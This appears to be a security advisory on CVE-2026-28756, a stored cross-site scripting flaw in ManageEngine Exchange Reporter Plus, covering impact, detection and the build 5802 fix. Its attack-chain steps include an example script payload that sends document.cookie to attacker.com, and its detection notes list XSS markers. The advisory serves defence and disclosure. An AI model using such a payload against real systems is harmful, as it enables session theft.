CVE-2026-28756: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2026-28756 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting all versions before build 5802 (including builds 5800 and 5801 under version 5.8). The flaw exists in the "Permissions based on Distribution Groups" report within the Reports module, allowing authenticated attackers with Exchange administrative privileges to inject persistent malicious scripts. It was disclosed on April 3, 2026, and fixed on March 19, 2026 in build 5802. The CVSS v3.1 base score is reported as 7.3 (High) by the GitHub Advisory Database, or alternatively 4.8 (Medium) per Feedly's estimate (ManageEngine Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with Exchange administrative privileges can inject malicious JavaScript into the "Permissions based on Distribution Groups" report; the payload is stored server-side and executes in the browser of any user who subsequently views the affected report. The attack vector is network-based, requires low-to-high privileges (depending on scoring source) and user interaction (a victim must view the report), and the scope is changed/unchanged depending on the scoring source. The fix was implemented in build 5802 via proper input validation (ManageEngine Advisory, GitHub Advisory).

Successful exploitation allows an authenticated attacker to inject and persistently execute malicious scripts in the context of other users' browser sessions when they view the affected report. This can result in session token theft, unauthorized actions performed on behalf of the victim within Exchange Reporter Plus, and exposure of sensitive Exchange organizational data. Confidentiality and integrity are both impacted; availability is not directly affected (ManageEngine Advisory, GitHub Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.021–0.024%, placing it in the 6th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. The vulnerability was discovered and responsibly disclosed by researcher "C311" through the Zoho BugBounty program (ManageEngine Advisory).

1. Reconnaissance: Identify ManageEngine Exchange Reporter Plus instances running builds 5801 or earlier (version 5.8 or below) accessible over the network.
2. Authentication: Log in to the Exchange Reporter Plus web interface using credentials with Exchange administrative privileges within the Exchange organization.
3. Inject payload: Navigate to the Reports module and access the "Permissions based on Distribution Groups" report. Identify the input field(s) that are rendered without proper sanitization and inject a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a distribution group name or related field that is reflected in the report.
4. Persistence: The malicious script is stored server-side and will execute in the browser of any user (including higher-privileged users) who views the affected report.
5. Session hijacking: When a victim views the report, the injected script executes, exfiltrating session tokens or performing actions within Exchange Reporter Plus on behalf of the victim (ManageEngine Advisory, GitHub Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after accessing the "Permissions based on Distribution Groups" report; unusual GET/POST requests containing encoded cookie or session data to attacker-controlled infrastructure.
• Logs: Web server access logs showing requests to the Distribution Groups report page from multiple users in close succession; application logs recording unexpected input containing HTML/JavaScript tags (<script>, onerror=, javascript:) in distribution group-related fields.
• File System / Application Data: Stored report data or database entries containing JavaScript tags or encoded script payloads in distribution group name or permission fields.
• Browser/User Behavior: Users reporting unexpected redirects, pop-ups, or session logouts after viewing the Permissions report in Exchange Reporter Plus.

Zohocorp has released a fix in ManageEngine Exchange Reporter Plus build 5802, which implements proper input validation to remediate the stored XSS vulnerability. All users running builds 5801 and below should update immediately using the available service pack. As interim mitigations, restrict access to the Permissions based on Distribution Groups report to only authorized administrative personnel, implement Content Security Policy (CSP) headers on the application, and monitor access logs for suspicious activity related to the affected report (ManageEngine Advisory).

The vulnerability received standard coverage across vulnerability tracking platforms including VulDB, CIRCL, and INCIBE-CERT shortly after disclosure. A post on Bluesky by the CyberHub blog noted the advisory. No significant researcher commentary, vendor statements beyond the official advisory, or major media coverage has been identified for this vulnerability.